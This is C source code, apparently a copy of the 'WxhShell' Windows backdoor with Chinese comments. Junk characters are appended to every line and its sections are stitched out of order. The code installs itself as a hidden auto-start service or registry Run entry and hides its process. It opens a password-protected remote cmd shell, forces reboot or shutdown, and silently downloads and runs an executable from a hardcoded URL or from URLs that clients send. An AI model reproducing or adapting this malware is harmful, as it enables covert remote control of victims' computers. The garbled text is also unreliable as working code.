  case 'd': { ~];r{IU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *wk?{ U  
    if(Boot(SHUTDOWN)) G2$<Q+UYs?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (rmOv\hG9V  
    else { 1NAGGr00  
    closesocket(wsh); O2pntKI  
    ExitThread(0); r'J="^k{  
    } r` B(ucE  
    break; sX@}4[)<&  
    } RWg'W,v=!  
  // 获取shell =K)[3mX X  
  case 's': { ( ]E0fjk  
    CmdShell(wsh); /0Jf/-}ovn  
    closesocket(wsh); vAh'6Ob7r  
    ExitThread(0); &\>=4)HB;  
    break; zq6)jHfq.  
  } gt(^9t;  
  // 退出 T,a71"c  
  case 'x': { XE>w&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <x8I<K  
    CloseIt(wsh); nt&"? /s  
    break; ^B_SAZ&%%  
    } +\doF  
  // 离开 jn 5v  
  case 'q': { vfd<qdi3p(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yk0tA  
    closesocket(wsh); ;J@U){R  
    WSACleanup(); A"B#t"  
    exit(1); xfF;u9$;  
    break; 2tb+3K1  
        } T@Bu Fr`]<  
  } )3 I~6ar  
  } r6eZ-V`4  
i]#"@xQ  
  // 提示信息 Dm@h'*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zv7)JH7EV&  
} BTzBT%mP  
  } %[4u #G`  
=F2`X#x_j  
  return; ]xkh"j+W  
} F pT$D  
86pA+c+U  
// shell模块句柄 ;reBJk  
int CmdShell(SOCKET sock) HUAbq }  
{ ih|;H:"^  
STARTUPINFO si; R XCjYzt  
ZeroMemory(&si,sizeof(si)); 3ey.r%n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z2L7US -  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i[?VF\Y(  
PROCESS_INFORMATION ProcessInfo; @Di!~e6  
char cmdline[]="cmd"; K'}I?H~P_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,#czx3?4  
  return 0; p"FWAC!  
} A0>r]<y  
dVPY07P  
// 自身启动模式 3RX9LJGX  
int StartFromService(void) EJP]E)  
{ 27+~!R~Yw  
typedef struct f|=u{6  
{ oiIl\#C  
  DWORD ExitStatus; bU/4KZ'-^  
  DWORD PebBaseAddress; aNn4j_V(  
  DWORD AffinityMask; =:Yrb2gP_\  
  DWORD BasePriority; Lu~E5 ,  
  ULONG UniqueProcessId; )QW hzY  
  ULONG InheritedFromUniqueProcessId; 33 S CHQ  
}   PROCESS_BASIC_INFORMATION; ?yxQs=&-q~  
=]5f\f6  
PROCNTQSIP NtQueryInformationProcess; rq^%)tR  
em95ccs'-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; blWtC/!Aq;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c|d,:u#  
3~Lsa"/  
  HANDLE             hProcess; v`c;1?=,q  
  PROCESS_BASIC_INFORMATION pbi; oeZUd}P  
+0 }_X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [mv!r-=  
  if(NULL == hInst ) return 0; LXWI'nxV  
'=O1n H<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d``wx}#Uk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Fg 8lX9L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5 HsF#  
+*w}H 0Z  
  if (!NtQueryInformationProcess) return 0; pGfGGY>i%  
dF09_nw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,2 rfN"o  
  if(!hProcess) return 0; u;]xAr1  
Ch3MwM5]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B;F ~6i  
AAs&P+;  
  CloseHandle(hProcess); |AacV  
p!~1~q6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' tHa5`  
if(hProcess==NULL) return 0; j>e RV ol  
dC8}Ttc}  
HMODULE hMod; 9R2"(.U  
char procName[255]; 1<fW .Q)  
unsigned long cbNeeded; dA (n,@{  
?;_>BX|Zjl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K3<A<&W_-  
t,dm3+R  
  CloseHandle(hProcess); u#rbc"  
>MKj~Ud  
if(strstr(procName,"services")) return 1; // 以服务启动 u]7wd3(  
\ {]y(GT  
  return 0; // 注册表启动 }3_b%{  
} dHTx^1  
;2\6U;  
// 主模块 J^ewG  
int StartWxhshell(LPSTR lpCmdLine) SASLeGaV  
{ <&3aP}  
  SOCKET wsl; ~,oz hj0f/  
BOOL val=TRUE; oGB|k]6]|  
  int port=0; <G|i5/|7  
  struct sockaddr_in door; r#2Fk &Z9  
$.kJBRgV*  
  if(wscfg.ws_autoins) Install(); K6 >\4'q  
n}[S  
port=atoi(lpCmdLine); L@/IyQ[H1  
AoOA.t6RVo  
if(port<=0) port=wscfg.ws_port; !H)-  
^r.CUhx)  
  WSADATA data; p4MWX12  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >p@b$po  
2_)UHTwsK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Gz9pBv1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #T2J +  
  door.sin_family = AF_INET; %7}j|eS)G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PZJ9f8 V  
  door.sin_port = htons(port); '7PaJj=Nx  
PU,$YPrZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _K!.TM+9  
closesocket(wsl);  U-4F  
return 1; (YYg-@IO  
} fglfnx0{  
LtX53c  
  if(listen(wsl,2) == INVALID_SOCKET) { xQDQgvwa  
closesocket(wsl); \.O&-oi  
return 1; .,p=e$x]  
} ;s{' cN[.  
  Wxhshell(wsl); K)mQcB-"?  
  WSACleanup(); o h\$u5  
[RN]?,  
return 0; 7+hF1eoI  
,0,FzxX0!  
} ;*<R~HJt  
85H \v_[  
// 以NT服务方式启动 hEu_mw#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -qDqJ62mC  
{ (^y"'B  
DWORD   status = 0; ]#^v754X^T  
  DWORD   specificError = 0xfffffff; rG6G~ |mS  
CN:T$ f|)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gee~>l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?..BA&zRk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e }?.3,?  
  serviceStatus.dwWin32ExitCode     = 0; Vi-Ph;6[  
  serviceStatus.dwServiceSpecificExitCode = 0; l7qW)<r  
  serviceStatus.dwCheckPoint       = 0; g ,EDE6`8  
  serviceStatus.dwWaitHint       = 0; N;'c4=M~(  
CAC4A   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S\N1qux{  
  if (hServiceStatusHandle==0) return; z5]6"v -  
`sT;\  
status = GetLastError(); -'d:~:1f  
  if (status!=NO_ERROR) 0LH6G[  
{ czD" mI!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %eg+ .  
    serviceStatus.dwCheckPoint       = 0; ;Go^)bN ;  
    serviceStatus.dwWaitHint       = 0; 94ruQ/  
    serviceStatus.dwWin32ExitCode     = status; pN5kcvQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2vjkThh`I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ W8X g)  
    return; >lUPOc  
  } Ld}?daPj  
\Dq'~ d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S \]O8#OX  
  serviceStatus.dwCheckPoint       = 0; ftxL-7y%  
  serviceStatus.dwWaitHint       = 0; ,.QJ S6Yv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &=kv69v  
} U_5`  
`_OrBu[  
// 处理NT服务事件,比如:启动、停止 "Esl I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^%9oeT{  
{ ylZQwICk  
switch(fdwControl) %T]^,y$n  
{ N:| :L:<1  
case SERVICE_CONTROL_STOP: N,Ma\D+^t  
  serviceStatus.dwWin32ExitCode = 0; 37zB X~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z5 IWoY  
  serviceStatus.dwCheckPoint   = 0; }OAU5P!rp  
  serviceStatus.dwWaitHint     = 0; -[-oz0`Sl{  
  { ,7&\jET5^0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZgxB7zl//  
  } >[;@ [4}  
  return; ~hvj3zC5xz  
case SERVICE_CONTROL_PAUSE: BeVDTk :  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?lsK?>uU  
  break; W|>jj$/o  
case SERVICE_CONTROL_CONTINUE:  *XhlIQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <@ .e.H  
  break; n]IF`kYQV  
case SERVICE_CONTROL_INTERROGATE: dRJ ](Gw  
  break; XMI*obS'z  
}; /@ @F nQ++  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i86:@/4~F  
}  lrv-[}}  
N^rpPq  
// 标准应用程序主函数 p<r<Y %  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hc|A:v)]  
{ k-|g  
Qjj }k)  
// 获取操作系统版本 c6xr[tc%  
OsIsNt=GetOsVer(); (WT\HR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kuH%aM<R  
gLv+L]BnhH  
  // 从命令行安装 ]\xt[/?{  
  if(strpbrk(lpCmdLine,"iI")) Install(); I+& T}R  
})-V,\  
  // 下载执行文件 y]jx-w c3O  
if(wscfg.ws_downexe) { ]jhi"BM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I_ZJnu<  
  WinExec(wscfg.ws_filenam,SW_HIDE); {zcG%b WJ  
} U7g`R@  
k={D!4kKz  
if(!OsIsNt) { F+H]{ss>  
// 如果时win9x,隐藏进程并且设置为注册表启动 gGVt ( ^  
HideProc(); "mJo<i}  
StartWxhshell(lpCmdLine); *B|hRZka1A  
} ;O hQBAC  
else s9wzN6re  
  if(StartFromService()) e`4mrBtz|  
  // 以服务方式启动 uQW)pD{_  
  StartServiceCtrlDispatcher(DispatchTable); Cb+sE"x]  
else ]eGa_Ld  
  // 普通方式启动 3%)cUkD  
  StartWxhshell(lpCmdLine); nnPT08$  
fYP,V0P  
return 0; B9"o Ru^}  
} v)du]  
u;t<rEC2  
0cHcBxdF  
Jq` Dvz  
=========================================== Eq)b=5qrG?  
,9ueHE  
QIkFX.^  
s1_Y~<y X  
\ZcI{t'a  
"Y+VNS  
" d8: $ll  
QwhO /  
#include <stdio.h> 0e8  
#include <string.h> _K9PA[m5 ~  
#include <windows.h> Hi[lN7ma8  
#include <winsock2.h> 6Mc&=}bV  
#include <winsvc.h> IMD^(k 2  
#include <urlmon.h> 6h/!,j0:t_  
D/=05E%[81  
#pragma comment (lib, "Ws2_32.lib") P[ o"%NZ'  
#pragma comment (lib, "urlmon.lib") C,W@C  
e2=}qE7  
#define MAX_USER   100 // 最大客户端连接数 {O _X/y~  
#define BUF_SOCK   200 // sock buffer $HQ~I?r{Hf  
#define KEY_BUFF   255 // 输入 buffer *x8~}/[T(F  
#6@hVR.  
#define REBOOT     0   // 重启 H,KH}25  
#define SHUTDOWN   1   // 关机 O;VqrO  
8x1!15Wiz  
#define DEF_PORT   5000 // 监听端口 BPkMw'a:  
;*qXjv& K  
#define REG_LEN     16   // 注册表键长度 i%133in  
#define SVC_LEN     80   // NT服务名长度 ^iEf"r  
S<]k0bC  
// 从dll定义API =&pR=vl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )b nGZ8h99  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +jrx;xwot  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `P\H{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R~oY R,L;  
puMVvo  
// wxhshell配置信息 3\ajnd|  
struct WSCFG { ?T73BL=  
  int ws_port;         // 监听端口 ]Yt3@ug_f  
  char ws_passstr[REG_LEN]; // 口令 ;L87 %P(.  
  int ws_autoins;       // 安装标记, 1=yes 0=no `GqF/?i  
  char ws_regname[REG_LEN]; // 注册表键名 |u`YT;`!"-  
  char ws_svcname[REG_LEN]; // 服务名 !"phz&E5ah  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6 p;Pf9 f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7Z]?a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \|X 1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AIl`>ac  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D`n<!"xg@$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  e#5WX  
Onqapm0  
}; <8%+-[(  
X ([^i;mr  
// default Wxhshell configuration L~+aD2 E {  
struct WSCFG wscfg={DEF_PORT, %zc.b  
    "xuhuanlingzhe", uu4! e{K  
    1, 7y&=YCkc7  
    "Wxhshell", KX x+J}n  
    "Wxhshell", ST#)Fl  
            "WxhShell Service", ,%m~OB #  
    "Wrsky Windows CmdShell Service", t`&mszd~T  
    "Please Input Your Password: ", ce4rhtkV  
  1, uF%N`e^S  
  "http://www.wrsky.com/wxhshell.exe", Q >yj<DR  
  "Wxhshell.exe" 49/2E@G4.  
    }; e+Mm!\ ;`  
)e[q% %ks  
// 消息定义模块 QN;NuDHN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x?6^EB|@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lKQjG+YF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S%]4['Y  
char *msg_ws_ext="\n\rExit."; hBZh0x y  
char *msg_ws_end="\n\rQuit."; 9[{q5  
char *msg_ws_boot="\n\rReboot..."; 4cm~oZ  
char *msg_ws_poff="\n\rShutdown..."; Lo'G fHE  
char *msg_ws_down="\n\rSave to "; tm34Z''.>  
9%k4Ic%P  
char *msg_ws_err="\n\rErr!"; *s1o?'e  
char *msg_ws_ok="\n\rOK!"; 8f?o?c|  
ZnbpIJ8cV  
char ExeFile[MAX_PATH]; j}h%, 7  
int nUser = 0; HE4S%#bH>  
HANDLE handles[MAX_USER]; |<]wM(GxE  
int OsIsNt; t- //.  
wc6#C>=F  
SERVICE_STATUS       serviceStatus; M(^IRI-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qyE*?73W  
5U_ar   
// 函数声明 _n*gj-  
int Install(void); ('_S1?y  
int Uninstall(void); Odt<WG  
int DownloadFile(char *sURL, SOCKET wsh); yh4%  
int Boot(int flag); R8% u9o  
void HideProc(void); 3wgZDF38  
int GetOsVer(void); ^SUo-N''  
int Wxhshell(SOCKET wsl); _}`y3"CD7  
void TalkWithClient(void *cs); u7wZPIC{_  
int CmdShell(SOCKET sock); {=^<yK2q  
int StartFromService(void); cJ,`71xop,  
int StartWxhshell(LPSTR lpCmdLine); 2zjY|g/  
+ L 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kvN6K6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tN)Vpb\J  
:d~&Dt<c  
// 数据结构和表定义 G~lnX^46"  
SERVICE_TABLE_ENTRY DispatchTable[] = /X\:3P  
{ Z!?T&:  
{wscfg.ws_svcname, NTServiceMain}, 2Q/V D,yU  
{NULL, NULL} toox`|  
}; dfeN_0` -  
2IDn4<`  
// 自我安装 (n{!~'3  
int Install(void) SkXx: @  
{ #4sSt-s&  
  char svExeFile[MAX_PATH]; SMm$4h R  
  HKEY key; G>^ _&(c@2  
  strcpy(svExeFile,ExeFile); $)O\i^T  
DV bY   
// 如果是win9x系统,修改注册表设为自启动 wlX K2D  
if(!OsIsNt) { H: ;S1D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |SsmVW$B|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hcD.-(-;)  
  RegCloseKey(key); ukX KUYNm8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zL:k(7E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q mz3GH@wg  
  RegCloseKey(key); 1w?DSHe  
  return 0; E+aE5wmr  
    } FwSV \N+#'  
  } 62xAS#\K>  
} 'P >h2^z  
else { h6gtO$A|p=  
`XwKCI  
// 如果是NT以上系统,安装为系统服务 fPsUIlI/A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u&Y1,:hiL  
if (schSCManager!=0) `>$l2,  
{ -+.-Ab7  
  SC_HANDLE schService = CreateService 7y>{Y$n  
  ( Bdf]?s[]  
  schSCManager, \E:l E/y  
  wscfg.ws_svcname, $QuSmA<4lS  
  wscfg.ws_svcdisp, :sb+jk  
  SERVICE_ALL_ACCESS, \M-$|04Qt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F|W(_llfM  
  SERVICE_AUTO_START, Q-S5("  
  SERVICE_ERROR_NORMAL, ehYGw2  
  svExeFile, ;!N_8{ 7r  
  NULL, xHdv?69,  
  NULL, qgLj^{  
  NULL, N u9+b"Wr  
  NULL, lF1ieg"i M  
  NULL qeZ*!H6-  
  ); |-k~Fa  
  if (schService!=0) bG9$&,  
  { V4 Wn  
  CloseServiceHandle(schService); 0--0+?  
  CloseServiceHandle(schSCManager); * d[sja+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Ow0A  
  strcat(svExeFile,wscfg.ws_svcname); I!-5 #bxD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }>u<,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); naKB2y]l  
  RegCloseKey(key); lvZ:Aw r  
  return 0; 6P*2Kg`  
    } q\6ZmKGnT  
  } p=U5qM.O  
  CloseServiceHandle(schSCManager); (!`]S>_w9  
} Kf7v_T /  
} E; Z1HF R  
!;^TW$ G  
return 1; QZ51}i  
} 0?nm`9v6  
-( ,iwF b  
// 自我卸载 c 7uryL  
int Uninstall(void) O(QJiS  
{ m2$Qp{C6H  
  HKEY key; i^'Uod0d.  
0<T/P+|  
if(!OsIsNt) { GT"gB$Mh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y7CrH=^jc  
  RegDeleteValue(key,wscfg.ws_regname); v'zf*]9  
  RegCloseKey(key); +p:@,_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [m 3k_;[  
  RegDeleteValue(key,wscfg.ws_regname); SNK _  
  RegCloseKey(key);  $VCWc#  
  return 0; x GHS  
  } WSW,}tFp"  
} 4h[^!up.7  
}  /P/S0  
else { "~lGSWcU  
aGz <Yip  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u*$ 1e  
if (schSCManager!=0) LMvsYc~]q  
{ =,=tSp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ES#K'Lf  
  if (schService!=0) fXHN m$"n  
  { n3kYVAgF  
  if(DeleteService(schService)!=0) { wz P")}[0  
  CloseServiceHandle(schService); {s=$.Kg  
  CloseServiceHandle(schSCManager); W|FPj^*t  
  return 0; 4V`ypFme  
  } @9pk-BB^D  
  CloseServiceHandle(schService); PiRbdl  
  } m_z1|zM}o  
  CloseServiceHandle(schSCManager); >aZ$x/U+Iw  
} P:")Qb2  
} Uv06f+P(  
+FoR;v)z=F  
return 1; J 8"Cw<=O  
} v?7.)2XcX  
c!BiGw,;  
// 从指定url下载文件 hD>O LoO  
int DownloadFile(char *sURL, SOCKET wsh) N*Owfr1 N  
{ In)#`E` g.  
  HRESULT hr; "yI)F~A  
char seps[]= "/"; 2EOt.4cP  
char *token; EnrRnVB  
char *file; #n'tpp~O  
char myURL[MAX_PATH]; @Kd lX>i  
char myFILE[MAX_PATH]; TY,w3E_  
U&6!2s-  
strcpy(myURL,sURL); g=;c*{  
  token=strtok(myURL,seps); yS#LT3>l  
  while(token!=NULL) (l.`g@(L  
  { pt;kN&A^  
    file=token; ) tGC&l+?/  
  token=strtok(NULL,seps); i>S /W!F  
  } P(W7,GD,k  
=^P<D&%q  
GetCurrentDirectory(MAX_PATH,myFILE); a<[@p  
strcat(myFILE, "\\"); cvbv\G'aT  
strcat(myFILE, file); eD*"#O)W  
  send(wsh,myFILE,strlen(myFILE),0); t`DoTb4  
send(wsh,"...",3,0); _wg6}3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EY(@R2~#J  
  if(hr==S_OK) ti'a^(  
return 0; "~4ULl< i'  
else m&OzT~?_>N  
return 1; DB yRP-TH  
Y>+\:O  
} 67Ai.3dR  
V&DS+'P  
// 系统电源模块 S)GWr"m-  
int Boot(int flag) S2" p(  
{ :<s)QD  
  HANDLE hToken; //W<\  
  TOKEN_PRIVILEGES tkp; }@V(y9K  
/r|^Dc Nx  
  if(OsIsNt) { g[j"]~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aU2O5z&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xb42R1  
    tkp.PrivilegeCount = 1; z@cL<.0CE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vcAs!ls+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S@zsPzw  
if(flag==REBOOT) { gydPy*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PK u+$  
  return 0; UR?[ba_h   
} ;y?,myO  
else { J;+iW*E:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y*0%l q({H  
  return 0; lC.Yu$O5  
} L^)&"6oSa  
  } HW{osav9  
  else { iy8U rgG;l  
if(flag==REBOOT) { ;*+jCL 2F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5A /G?  
  return 0; ?G1-X~Z8  
} OGrVy=rd  
else { `Y/DttjL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `w]=x e  
  return 0; C]-Z+9Vvv  
} :M1S*"&:  
} yjpV71!M  
u%#bu^4"  
return 1; K3TMTY<p  
} `Bnp/9q5  
<O>r e3s  
// win9x进程隐藏模块 @Wy>4B^  
void HideProc(void) Ym-uElWo  
{ a>Uk<#>2?a  
 OR4!73[I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1,Uv;s;{  
  if ( hKernel != NULL ) 6Ez}A|i  
  { 8MM#q+8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (D{Fln\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VLN=9  
    FreeLibrary(hKernel); IC/'<%k  
  } 4)-LlYS_d<  
kh 1 7  
return; N|T%cdh:/  
} &2MW.,e7s  
"kz``6C  
// 获取操作系统版本 I' ej?~  
int GetOsVer(void) 4\Y2{Z>P?  
{ U/m6% )Yx(  
  OSVERSIONINFO winfo; 2md1GWyP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1-1x,U7w  
  GetVersionEx(&winfo); <u*~RYA2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V(A6>0s$|  
  return 1; %:N6#;l M  
  else (+38z)f  
  return 0; y1(smZU  
} oJUVW"X6  
\D<rT)Tl  
// 客户端句柄模块 pcv(P  
int Wxhshell(SOCKET wsl) +L!-JrYHS4  
{ L=Fm:O'#2  
  SOCKET wsh; jtV{Lf3<  
  struct sockaddr_in client; { o=4(RC  
  DWORD myID; Z+=WgEu1  
OO] ~\j  
  while(nUser<MAX_USER) ot]E\g+!  
{ kz(%8qi8&  
  int nSize=sizeof(client); d3+pS\&IX?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~C{d2i  
  if(wsh==INVALID_SOCKET) return 1; Lf&p2p?~c  
uR|Jn)/m(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -wy$ ?Ha  
if(handles[nUser]==0) .%h.b6^  
  closesocket(wsh); =GTltFqI1  
else 4T`u?T]  
  nUser++; @3K)VjY7  
  } bBc<yaN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G@oY2sM"  
h-=3 b  
  return 0; "~9 !o"  
} ((\s4-   
=2BGS\$#  
// 关闭 socket D:e9609  
void CloseIt(SOCKET wsh) 0 ML=]  
{ {v}f/ cu  
closesocket(wsh); RRqHo~*0  
nUser--; **d3uc4y  
ExitThread(0); E9;cd$}K  
} <- Q=h?D  
!krbGpTVH  
// 客户端请求句柄 `=RJ8u  
void TalkWithClient(void *cs) 7JD jJQy  
{ ~EG`[cv  
I#zrz3WU  
  SOCKET wsh=(SOCKET)cs; CDQ}C=4  
  char pwd[SVC_LEN]; Lo\+T+n  
  char cmd[KEY_BUFF]; t>.mB@se|  
char chr[1]; ^I@1y}xi  
int i,j; D'F =v\P  
^]3Y11sI  
  while (nUser < MAX_USER) { yjaX\Wb[z[  
6e(|t2^  
if(wscfg.ws_passstr) { v}!eJzeH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5e~\o}]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^&MMtWR  
  //ZeroMemory(pwd,KEY_BUFF); ya0L8`q  
      i=0; %|}obiV)  
  while(i<SVC_LEN) { R"EX$Zj^E  
3,+)3,N  
  // 设置超时 qvy~b  
  fd_set FdRead; +pZ, RW.D  
  struct timeval TimeOut; ME7jF9d  
  FD_ZERO(&FdRead); (ec?_N0=  
  FD_SET(wsh,&FdRead); XZYpU\K  
  TimeOut.tv_sec=8; s]Nh9h  
  TimeOut.tv_usec=0; uIvy1h9m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z|K+{{C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l69&-Nyg  
` =g9Rg/<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T3,"g=  
  pwd=chr[0]; l)m\i_r:  
  if(chr[0]==0xd || chr[0]==0xa) { sy=M#WGS  
  pwd=0; /_5I}{  
  break; :p0|4g  
  } zV_U/]y  
  i++; W+-a@)sh3Q  
    } !qsk;Vk7Z  
(xf_  
  // 如果是非法用户,关闭 socket _fx0-S*$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4NT zK  
} w?)v#]<-  
kNP.0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0OO$(R*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / PDe<p  
bmgK6OyVR  
while(1) { bwR_ uF  
y|f`sBMM  
  ZeroMemory(cmd,KEY_BUFF); SIv8EMGo  
SN+B8*!  
      // 自动支持客户端 telnet标准   T+ey>[  
  j=0; 7cV9xIe^  
  while(j<KEY_BUFF) { 6nqG;z-IXJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u; \:#721  
  cmd[j]=chr[0]; np,L39:sf  
  if(chr[0]==0xa || chr[0]==0xd) { Oa~|a7`o  
  cmd[j]=0; M24FuS  
  break; PPSf8-MLW  
  } X~|P  
  j++; v-M3/*  
    } eSo/1D  
~CiVLS H=  
  // 下载文件 35I y\  
  if(strstr(cmd,"http://")) { 2c`m8EaJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VN`T:!&  
  if(DownloadFile(cmd,wsh)) p?(w !O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g<1n  
  else ~nJcHJ1nb4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S-V)!6\cK  
  } {* S8n09v  
